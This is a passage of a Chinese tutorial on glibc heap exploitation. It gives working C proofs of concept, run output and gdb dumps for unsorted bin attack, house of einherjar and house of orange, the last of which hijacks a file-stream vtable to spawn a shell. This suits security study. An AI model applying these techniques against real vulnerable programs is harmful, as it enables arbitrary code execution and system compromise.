+gdb-peda$ x/4gx stack_buf
+0x7fffffffdbc0:    0x0000000000000000    0x0000000000000110  <-- fake chunk
+0x7fffffffdbd0:    0x0000000000000000    0x00007fffffffdbc0
+
+

然后假设有一个漏洞,可以改写 victim chunk 的 bk 指针,那么将其改为指向 fake chunk:

+
gdb-peda$ x/6gx victim - 2
+0x602000:    0x0000000000000000    0x0000000000000091  <-- victim chunk
+0x602010:    0x00007ffff7dd1b78    0x00007fffffffdbc0    <-- bk pointer
+0x602020:    0x0000000000000000    0x0000000000000000
+gdb-peda$ x/4gx stack_buf
+0x7fffffffdbc0:    0x0000000000000000    0x0000000000000110  <-- fake chunk
+0x7fffffffdbd0:    0x0000000000000000    0x00007fffffffdbc0
+
+

那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候,malloc 会顺着 bk 指针进行遍历,于是就找到了大小正好合适的 fake chunk:

+
gdb-peda$ x/6gx victim - 2
+0x602000:    0x0000000000000000    0x0000000000000091  <-- victim chunk
+0x602010:    0x00007ffff7dd1bf8    0x00007ffff7dd1bf8
+0x602020:    0x0000000000000000    0x0000000000000000
+gdb-peda$ x/4gx fake - 2
+0x7fffffffdbc0:    0x0000000000000000    0x0000000000000110  <-- fake chunk
+0x7fffffffdbd0:    0x00007ffff7dd1b78    0x00007fffffffdbc0
+
+

fake chunk 被取出,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是 fake chunk 的 fd 指针被修改了,这是 unsorted bin 的地址,通过它可以泄露 libc 地址,这正是下面 unsorted bin attack 会讲到的。

+

将上面的代码解除注释,就是 libc-2.27 环境下的版本,但是需要注意的是由于 tcache 的影响,stack_buf[3] 不能再设置成任意地址。

+

malloc 前:

+
gdb-peda$ x/6gx victim - 2
+0x555555756250: 0x0000000000000000      0x0000000000000091  <-- victim chunk
+0x555555756260: 0x00007ffff7dd2b00      0x00007fffffffdcb0
+0x555555756270: 0x0000000000000000      0x0000000000000000
+gdb-peda$ x/4gx stack_buf
+0x7fffffffdcb0: 0x0000000000000000      0x0000000000000110  <-- fake chunk
+0x7fffffffdcc0: 0x0000000000000000      0x00007fffffffdcb0
+gdb-peda$ x/26gx 0x0000555555756000+0x10
+0x555555756010: 0x0700000000000000      0x0000000000000000  <-- counts
+0x555555756020: 0x0000000000000000      0x0000000000000000
+0x555555756030: 0x0000000000000000      0x0000000000000000
+0x555555756040: 0x0000000000000000      0x0000000000000000
+0x555555756050: 0x0000000000000000      0x0000000000000000
+0x555555756060: 0x0000000000000000      0x0000000000000000
+0x555555756070: 0x0000000000000000      0x0000000000000000
+0x555555756080: 0x0000000000000000      0x0000555555756670  <-- entries
+0x555555756090: 0x0000000000000000      0x0000000000000000
+0x5555557560a0: 0x0000000000000000      0x0000000000000000
+0x5555557560b0: 0x0000000000000000      0x0000000000000000
+0x5555557560c0: 0x0000000000000000      0x0000000000000000
+0x5555557560d0: 0x0000000000000000      0x0000000000000000
+
+

malloc 后:

+
gdb-peda$ x/6gx victim - 2
+0x555555756250: 0x0000000000000000      0x0000000000000091  <-- victim chunk
+0x555555756260: 0x00007ffff7dd2b80      0x00007ffff7dd2b80
+0x555555756270: 0x0000000000000000      0x0000000000000000
+gdb-peda$ x/4gx fake - 2
+0x7fffffffdcb0: 0x0000000000000000      0x0000000000000110  <-- fake chunk
+0x7fffffffdcc0: 0x00007ffff7dd2b00      0x00007fffffffdcb0
+gdb-peda$ x/26gx 0x0000555555756000+0x10
+0x555555756010: 0x0700000000000000      0x0700000000000000  <-- counts  <-- counts
+0x555555756020: 0x0000000000000000      0x0000000000000000
+0x555555756030: 0x0000000000000000      0x0000000000000000
+0x555555756040: 0x0000000000000000      0x0000000000000000
+0x555555756050: 0x0000000000000000      0x0000000000000000
+0x555555756060: 0x0000000000000000      0x0000000000000000
+0x555555756070: 0x0000000000000000      0x0000000000000000
+0x555555756080: 0x0000000000000000      0x0000555555756670  <-- entries
+0x555555756090: 0x0000000000000000      0x0000000000000000
+0x5555557560a0: 0x0000000000000000      0x0000000000000000
+0x5555557560b0: 0x0000000000000000      0x0000000000000000
+0x5555557560c0: 0x0000000000000000      0x00007fffffffdcc0  <-- entries
+0x5555557560d0: 0x0000000000000000      0x0000000000000000
+
+

可以看到在 malloc 时,fake chunk 被不断重复地链接到 tcache bin,直到装满后,才从 unsorted bin 里取出。同样的,fake chunk 的 fd 指向 unsorted bin。

+

unsorted_bin_attack

+
#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+    unsigned long stack_var = 0;
+    fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
+
+    unsigned long *p  = malloc(0x80);
+    unsigned long *p1 = malloc(0x10);
+    fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
+
+    free(p);
+    fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
+
+    p[1] = (unsigned long)(&stack_var - 2);
+    fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
+
+    malloc(0x80);
+    fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
+}
+$ gcc -g unsorted_bin_attack.c
+$ ./a.out
+The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0
+
+Now, we allocate first small chunk on the heap at: 0x1066010
+We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
+We write it with the target address-0x10: 0x7ffc9b1d61a0
+
+Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78
+
+

unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。

+

unlink 的对 unsorted bin 的操作是这样的:

+
          /* remove from unsorted list */
+          unsorted_chunks (av)->bk = bck;
+          bck->fd = unsorted_chunks (av);
+
+

其中 bck = victim->bk

+

首先分配两个 chunk,然后释放掉第一个,它将被加入到 unsorted bin 中:

+
gef➤  x/26gx 0x602010-0x10
+0x602000:    0x0000000000000000    0x0000000000000091  <-- chunk 1 [be freed]
+0x602010:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      <-- fd, bk pointer
+0x602020:    0x0000000000000000    0x0000000000000000
+0x602030:    0x0000000000000000    0x0000000000000000
+0x602040:    0x0000000000000000    0x0000000000000000
+0x602050:    0x0000000000000000    0x0000000000000000
+0x602060:    0x0000000000000000    0x0000000000000000
+0x602070:    0x0000000000000000    0x0000000000000000
+0x602080:    0x0000000000000000    0x0000000000000000
+0x602090:    0x0000000000000090    0x0000000000000020  <-- chunk 2
+0x6020a0:    0x0000000000000000    0x0000000000000000
+0x6020b0:    0x0000000000000000    0x0000000000020f51  <-- top chunk
+0x6020c0:    0x0000000000000000    0x0000000000000000
+gef➤  x/4gx &stack_var-2
+0x7fffffffdc50:    0x00007fffffffdd60    0x0000000000400712
+0x7fffffffdc60:    0x0000000000000000    0x0000000000602010
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
+ →   Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)
+
+

然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk,然后 malloc:

+
gef➤  x/26gx 0x602010-0x10
+0x602000:    0x0000000000000000    0x0000000000000091  <-- chunk 3
+0x602010:    0x00007ffff7dd1b78    0x00007fffffffdc50
+0x602020:    0x0000000000000000    0x0000000000000000
+0x602030:    0x0000000000000000    0x0000000000000000
+0x602040:    0x0000000000000000    0x0000000000000000
+0x602050:    0x0000000000000000    0x0000000000000000
+0x602060:    0x0000000000000000    0x0000000000000000
+0x602070:    0x0000000000000000    0x0000000000000000
+0x602080:    0x0000000000000000    0x0000000000000000
+0x602090:    0x0000000000000090    0x0000000000000021  <-- chunk 2
+0x6020a0:    0x0000000000000000    0x0000000000000000
+0x6020b0:    0x0000000000000000    0x0000000000020f51  <-- top chunk
+0x6020c0:    0x0000000000000000    0x0000000000000000
+gef➤  x/4gx &stack_var-2
+0x7fffffffdc50:    0x00007fffffffdc80    0x0000000000400756  <-- fake chunk
+0x7fffffffdc60:    0x00007ffff7dd1b78    0x0000000000602010      <-- fd->TAIL
+
+

从而泄漏了 unsorted bin 的头部地址。

+

那么继续来看 libc-2.27 里怎么处理:

+
#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+    unsigned long stack_var = 0;
+    fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
+
+    unsigned long *p = malloc(0x80);
+    unsigned long *p1 = malloc(0x10);
+    fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
+
+    free(p);
+    fprintf(stderr, "Freed the first chunk to put it in a tcache bin\n");
+
+    p[0] = (unsigned long)(&stack_var);
+    fprintf(stderr, "Overwrite the next ptr with the target address\n");
+    malloc(0x80);
+    malloc(0x80);
+    fprintf(stderr, "Now we malloc twice to make tcache struct's counts '0xff'\n\n");
+
+    free(p);
+    fprintf(stderr, "Now free again to put it in unsorted bin\n");
+    p[1] = (unsigned long)(&stack_var - 2);
+    fprintf(stderr, "Now write its bk ptr with the target address-0x10: %p\n\n", (void*)p[1]);
+
+    malloc(0x80);
+    fprintf(stderr, "Finally malloc again to get the chunk at target address: %p -> %p\n", &stack_var, (void*)stack_var);
+}
+$ gcc -g tcache_unsorted_bin_attack.c
+$ ./a.out
+The target we want to rewrite on stack: 0x7ffef0884c10 -> 0
+
+Now, we allocate first small chunk on the heap at: 0x564866907260
+Freed the first chunk to put it in a tcache bin
+Overwrite the next ptr with the target address
+Now we malloc twice to make tcache struct's counts '0xff'
+
+Now free again to put it in unsorted bin
+Now write its bk ptr with the target address-0x10: 0x7ffef0884c00
+
+Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f69ba1d8ca0
+
+

我们知道由于 tcache 的存在,malloc 从 unsorted bin 取 chunk 的时候,如果对应的 tcache bin 还未装满,则会将 unsorted bin 里的 chunk 全部放进对应的 tcache bin,然后再从 tcache bin 中取出。那么问题就来了,在放进 tcache bin 的这个过程中,malloc 会以为我们的 target address 也是一个 chunk,然而这个 "chunk" 是过不了检查的,将抛出 "memory corruption" 的错误:

+
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
+        {
+          bck = victim->bk;
+          if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
+              || __builtin_expect (chunksize_nomask (victim)
+                   > av->system_mem, 0))
+            malloc_printerr ("malloc(): memory corruption");
+
+

那么要想跳过放 chunk 的这个过程,就需要对应 tcache bin 的 counts 域不小于 tcache_count(默认为7),但如果 counts 不为 0,说明 tcache bin 里是有 chunk 的,那么 malloc 的时候会直接从 tcache bin 里取出,于是就没有 unsorted bin 什么事了:

+
  if (tc_idx < mp_.tcache_bins
+      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
+      && tcache
+      && tcache->entries[tc_idx] != NULL)
+    {
+      return tcache_get (tc_idx);
+    }
+
+

这就造成了矛盾,所以我们需要找到一种既能从 unsorted bin 中取 chunk,又不会将 chunk 放进 tcache bin 的办法。

+

于是就得到了上面的利用 tcache poisoning(参考章节4.14),将 counts 修改成了 0xff,于是在进行到下面这里时就会进入 else 分支,直接取出 chunk 并返回:

+
#if USE_TCACHE
+          /* Fill cache first, return to user only if cache fills.
+         We may return one of these chunks later.  */
+          if (tcache_nb
+          && tcache->counts[tc_idx] < mp_.tcache_count)
+        {
+          tcache_put (victim, tc_idx);
+          return_cached = 1;
+          continue;
+        }
+          else
+        {
+#endif
+              check_malloced_chunk (av, victim, nb);
+              void *p = chunk2mem (victim);
+              alloc_perturb (p, bytes);
+              return p;
+
+

于是就成功泄露出了 unsorted bin 的头部地址。

+

house_of_einherjar

+
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <malloc.h>
+
+int main() {
+    uint8_t *a, *b, *d;
+
+    a = (uint8_t*) malloc(0x10);
+    int real_a_size = malloc_usable_size(a);
+    memset(a, 'A', real_a_size);
+    fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
+
+    size_t fake_chunk[6];
+    fake_chunk[0] = 0x80;
+    fake_chunk[1] = 0x80;
+    fake_chunk[2] = (size_t) fake_chunk;
+    fake_chunk[3] = (size_t) fake_chunk;
+    fake_chunk[4] = (size_t) fake_chunk;
+    fake_chunk[5] = (size_t) fake_chunk;
+    fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
+    fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
+    fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
+    fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
+    fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
+    fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
+    fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
+
+    b = (uint8_t*) malloc(0xf8);
+    int real_b_size = malloc_usable_size(b);
+    uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
+    fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
+    fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
+    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
+    a[real_a_size] = 0;
+    fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
+
+    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
+    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
+    fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
+    fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
+
+    fake_chunk[1] = fake_size;
+    fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
+
+    fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
+    free(b);
+    fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
+
+    d = malloc(0x10);
+    memset(d, 'A', 0x10);
+    fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
+}
+$ gcc -g house_of_einherjar.c
+$ ./a.out
+We allocate 0x10 bytes for 'a': 0xb31010
+
+Our fake chunk at 0x7ffdb337b7f0 looks like:
+prev_size: 0x80
+size: 0x80
+fwd: 0x7ffdb337b7f0
+bck: 0x7ffdb337b7f0
+fwd_nextsize: 0x7ffdb337b7f0
+bck_nextsize: 0x7ffdb337b7f0
+
+We allocate 0xf8 bytes for 'b': 0xb31030
+b.size: 0x101
+We overflow 'a' with a single null byte into the metadata of 'b'
+b.size: 0x100
+
+We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
+Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830
+
+Modify fake chunk's size to reflect b's new prev_size
+Now we free b and this will consolidate with our fake chunk
+Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
+
+Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
+
+

house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 PREV_IN_USE 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk,让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。

+

首先分配一个假设存在 off_by_one 溢出的 chunk a,然后在栈上创建我们的 fake chunk,chunk 大小随意,只要是 small chunk 就可以了:

+
gef➤  x/8gx a-0x10
+0x603000:    0x0000000000000000    0x0000000000000021  <-- chunk a
+0x603010:    0x4141414141414141    0x4141414141414141
+0x603020:    0x4141414141414141    0x0000000000020fe1  <-- top chunk
+0x603030:    0x0000000000000000    0x0000000000000000
+gef➤  x/8gx &fake_chunk
+0x7fffffffdcb0:    0x0000000000000080    0x0000000000000080  <-- fake chunk
+0x7fffffffdcc0:    0x00007fffffffdcb0    0x00007fffffffdcb0
+0x7fffffffdcd0:    0x00007fffffffdcb0    0x00007fffffffdcb0
+0x7fffffffdce0:    0x00007fffffffddd0    0xffa7b97358729300
+
+

接下来创建 chunk b,并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 PREV_INUSE 标志,chunk b 就会以为前一个 chunk 是一个 free chunk 了:

+
gef➤  x/8gx a-0x10
+0x603000:    0x0000000000000000    0x0000000000000021  <-- chunk a
+0x603010:    0x4141414141414141    0x4141414141414141
+0x603020:    0x4141414141414141    0x0000000000000100  <-- chunk b
+0x603030:    0x0000000000000000    0x0000000000000000
+
+

原本 chunk b 的 size 字段应该为 0x101,在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。

+

接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev_size 字段相匹配:

+
gef➤  x/8gx a-0x10
+0x603000:    0x0000000000000000    0x0000000000000021  <-- chunk a
+0x603010:    0x4141414141414141    0x4141414141414141
+0x603020:    0xffff800000605370    0x0000000000000100  <-- chunk b <-- prev_size
+0x603030:    0x0000000000000000    0x0000000000000000
+gef➤  x/8gx &fake_chunk
+0x7fffffffdcb0:    0x0000000000000080    0xffff800000605370  <-- fake chunk <-- size
+0x7fffffffdcc0:    0x00007fffffffdcb0    0x00007fffffffdcb0
+0x7fffffffdcd0:    0x00007fffffffdcb0    0x00007fffffffdcb0
+0x7fffffffdce0:    0x00007fffffffddd0    0xadeb3936608e0600
+
+

释放 chunk b,这时因为 PREV_INUSE 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。从 arena 里可以看到:

+
gef➤  heap arenas
+Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)
+
+

合并的过程在 poison-null-byte 那里也讲过了。

+

最后当我们再次 malloc,其返回的地址将是 fake chunk 的地址:

+
gef➤  x/8gx &fake_chunk
+0x7fffffffdcb0:    0x0000000000000080    0x0000000000000021  <-- chunk d
+0x7fffffffdcc0:    0x4141414141414141    0x4141414141414141
+0x7fffffffdcd0:    0x00007fffffffdcb0    0xffff800000626331
+0x7fffffffdce0:    0x00007fffffffddd0    0xbdf40e22ccf46c00
+
+

house_of_orange

+
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int winner (char *ptr);
+
+int main() {
+    char *p1, *p2;
+    size_t io_list_all, *top;
+
+    p1 = malloc(0x400 - 0x10);
+
+    top = (size_t *) ((char *) p1 + 0x400 - 0x10);
+    top[1] = 0xc01;
+
+    p2 = malloc(0x1000);
+    io_list_all = top[2] + 0x9a8;
+    top[3] = io_list_all - 0x10;
+
+    memcpy((char *) top, "/bin/sh\x00", 8);
+
+    top[1] = 0x61;
+
+    _IO_FILE *fp = (_IO_FILE *) top;
+    fp->_mode = 0; // top+0xc0
+    fp->_IO_write_base = (char *) 2; // top+0x20
+    fp->_IO_write_ptr = (char *) 3; // top+0x28
+
+    size_t *jump_table = &top[12]; // controlled memory
+    jump_table[3] = (size_t) &winner;
+    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
+
+    malloc(1);
+    return 0;
+}
+
+int winner(char *ptr) {
+    system(ptr);
+    return 0;
+}
+$ gcc -g house_of_orange.c
+$ ./a.out
+*** Error in `./a.out': malloc(): memory corruption: 0x00007f3daece3520 ***
+======= Backtrace: =========
+/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f3dae9957e5]
+/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f3dae9a013e]
+/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3dae9a2184]
+./a.out[0x4006cc]
+/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3dae93e830]
+./a.out[0x400509]
+======= Memory map: ========
+00400000-00401000 r-xp 00000000 08:01 919342                             /home/firmy/how2heap/a.out
+00600000-00601000 r--p 00000000 08:01 919342                             /home/firmy/how2heap/a.out
+00601000-00602000 rw-p 00001000 08:01 919342                             /home/firmy/how2heap/a.out
+01e81000-01ec4000 rw-p 00000000 00:00 0                                  [heap]
+7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0
+7f3da8021000-7f3dac000000 ---p 00000000 00:00 0
+7f3dae708000-7f3dae71e000 r-xp 00000000 08:01 398989                     /lib/x86_64-linux-gnu/libgcc_s.so.1
+7f3dae71e000-7f3dae91d000 ---p 00016000 08:01 398989                     /lib/x86_64-linux-gnu/libgcc_s.so.1
+7f3dae91d000-7f3dae91e000 rw-p 00015000 08:01 398989                     /lib/x86_64-linux-gnu/libgcc_s.so.1
+7f3dae91e000-7f3daeade000 r-xp 00000000 08:01 436912                     /lib/x86_64-linux-gnu/libc-2.23.so
+7f3daeade000-7f3daecde000 ---p 001c0000 08:01 436912                     /lib/x86_64-linux-gnu/libc-2.23.so
+7f3daecde000-7f3daece2000 r--p 001c0000 08:01 436912                     /lib/x86_64-linux-gnu/libc-2.23.so
+7f3daece2000-7f3daece4000 rw-p 001c4000 08:01 436912                     /lib/x86_64-linux-gnu/libc-2.23.so
+7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0
+7f3daece8000-7f3daed0e000 r-xp 00000000 08:01 436908                     /lib/x86_64-linux-gnu/ld-2.23.so
+7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0
+7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0
+7f3daef0d000-7f3daef0e000 r--p 00025000 08:01 436908                     /lib/x86_64-linux-gnu/ld-2.23.so
+7f3daef0e000-7f3daef0f000 rw-p 00026000 08:01 436908                     /lib/x86_64-linux-gnu/ld-2.23.so
+7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0
+7ffe8eba6000-7ffe8ebc7000 rw-p 00000000 00:00 0                          [stack]
+7ffe8ebee000-7ffe8ebf1000 r--p 00000000 00:00 0                          [vvar]
+7ffe8ebf1000-7ffe8ebf3000 r-xp 00000000 00:00 0                          [vdso]
+ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
+$ whoami
+firmy
+$ exit
+Aborted (core dumped)
+
+

house-of-orange 是一种利用堆溢出修改 _IO_list_all 指针的利用方法。它要求能够泄漏堆和 libc。我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。

+

当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 sysmalloc() 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 mp_.mmap_threshold

+
  if (av == NULL
+      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
+      && (mp_.n_mmaps < mp_.n_mmaps_max)))
+    {
+
+

同时,为了能够调用 sysmalloc() 中的 _int_free(),需要 top chunk 大于 MINSIZE,即 0x10:

+
                      if (old_size >= MINSIZE)
+                        {
+                          _int_free (av, old_top, 1);
+                        }
+
+

当然,还得绕过下面两个限制条件:

+
  /*
+     If not the first time through, we require old_size to be
+     at least MINSIZE and to have prev_inuse set.
+   */
+
+  assert ((old_top == initial_top (av) && old_size == 0) ||
+          ((unsigned long) (old_size) >= MINSIZE &&
+           prev_inuse (old_top) &&
+           ((unsigned long) old_end & (pagesize - 1)) == 0));
+
+  /* Precondition: not enough current space to satisfy nb request */
+  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
+
+

即满足 old_size 小于 nb+MINSIZEPREV_INUSE 标志位为 1,old_top+old_size 页对齐这几个条件。

+

首先分配一个大小为 0x400 的 chunk:

+
gef➤  x/4gx p1-0x10
+0x602000:    0x0000000000000000    0x0000000000000401  <-- chunk p1
+0x602010:    0x0000000000000000    0x0000000000000000
+gef➤  x/4gx p1-0x10+0x400
+0x602400:    0x0000000000000000    0x0000000000020c01  <-- top chunk
+0x602410:    0x0000000000000000    0x0000000000000000
+
+

默认情况下,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。

+

现在假设存在溢出漏洞,可以修改 top chunk 的数据,于是我们将 size 字段修改为 0xc01。这样就可以满足上面所说的条件:

+
gef➤  x/4gx p1-0x10+0x400
+0x602400:    0x0000000000000000    0x0000000000000c01  <-- top chunk
+0x602410:    0x0000000000000000    0x0000000000000000
+
+

紧接着,申请一块大内存,此时由于修改后的 top chunk size 不能满足需求,则调用 sysmalloc 的第一种方法扩充 top chunk,结果是在 old_top 后面新建了一个 top chunk 用来存放 new_top,然后将 old_top 释放,即被添加到了 unsorted bin 中:

+
gef➤  x/4gx p1-0x10+0x400
+0x602400:    0x0000000000000000    0x0000000000000be1  <-- old top chunk [be freed]
+0x602410:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      <-- fd, bk pointer
+gef➤  x/4gx p1-0x10+0x400+0xbe0
+0x602fe0:    0x0000000000000be0    0x0000000000000010  <-- fencepost chunk 1
+0x602ff0:    0x0000000000000000    0x0000000000000011  <-- fencepost chunk 2
+gef➤  x/4gx p2-0x10
+0x623000:    0x0000000000000000    0x0000000000001011  <-- chunk p2
+0x623010:    0x0000000000000000    0x0000000000000000
+gef➤  x/4gx p2-0x10+0x1010
+0x624010:    0x0000000000000000    0x0000000000020ff1  <-- new top chunk
+0x624020:    0x0000000000000000    0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602400, bk=0x602400
+ →   Chunk(addr=0x602410, size=0xbe0, flags=PREV_INUSE)
+
+

于是就泄漏出了 libc 地址。另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。此时的堆空间应该是这样的:

+
+---------------+
+|       p1      |
++---------------+
+|  old top-0x20 |
++---------------+
+|  fencepost 1  |
++---------------+
+|  fencepost 2  |
++---------------+
+|      ...      |
++---------------+
+|       p2      |
++---------------+
+|    new top    |
++---------------+
+
+

详细过程如下:

+
                  if (old_size != 0)
+                    {
+                      /*
+                         Shrink old_top to insert fenceposts, keeping size a
+                         multiple of MALLOC_ALIGNMENT. We know there is at least
+                         enough space in old_top to do this.
+                       */
+                      old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
+                      set_head (old_top, old_size | PREV_INUSE);
+
+                      /*
+                         Note that the following assignments completely overwrite
+                         old_top when old_size was previously MINSIZE.  This is
+                         intentional. We need the fencepost, even if old_top otherwise gets
+                         lost.
+                       */
+                      chunk_at_offset (old_top, old_size)->size =
+                        (2 * SIZE_SZ) | PREV_INUSE;
+
+                      chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
+                        (2 * SIZE_SZ) | PREV_INUSE;
+
+                      /* If possible, release the rest. */
+                      if (old_size >= MINSIZE)
+                        {
+                          _int_free (av, old_top, 1);
+                        }
+                    }
+
+

根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 _IO_list_all 的地址。然后通过溢出将 old top 的 bk 改写为 _IO_list_all-0x10,这样在进行 unsorted bin attack 时,就会将 _IO_list_all 修改为 &unsorted_bin-0x10

+
          /* remove from unsorted list */
+          unsorted_chunks (av)->bk = bck;
+          bck->fd = unsorted_chunks (av);
+gef➤  x/4gx p1-0x10+0x400
+0x602400:    0x0000000000000000    0x0000000000000be1
+0x602410:    0x00007ffff7dd1b78    0x00007ffff7dd2510
+
+

这里讲一下 glibc 中的异常处理。一般在出现内存错误时,会调用函数 malloc_printerr() 打印出错信息,我们顺着代码一直跟踪下去:

+
static void
+malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
+{
+  [...]
+  if ((action & 5) == 5)
+    __libc_message (action & 2, "%s\n", str);
+  else if (action & 1)
+    {
+      char buf[2 * sizeof (uintptr_t) + 1];
+
+      buf[sizeof (buf) - 1] = '\0';
+      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
+      while (cp > buf)
+        *--cp = '0';
+
+      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
+                      __libc_argv[0] ? : "<unknown>", str, cp);
+    }
+  else if (action & 2)
+    abort ();
+}
+
+

调用 __libc_message

+
// sysdeps/posix/libc_fatal.c
+/* Abort with an error message.  */
+void
+__libc_message (int do_abort, const char *fmt, ...)
+{
+  [...]
+  if (do_abort)
+    {
+      BEFORE_ABORT (do_abort, written, fd);
+
+      /* Kill the application.  */
+      abort ();
+    }
+}
+
+

do_abort 调用 fflush,即 _IO_flush_all_lockp

+
// stdlib/abort.c
+#define fflush(s) _IO_flush_all_lockp (0)
+
+  if (stage == 1)
+    {
+      ++stage;
+      fflush (NULL);
+    }
+// libio/genops.c
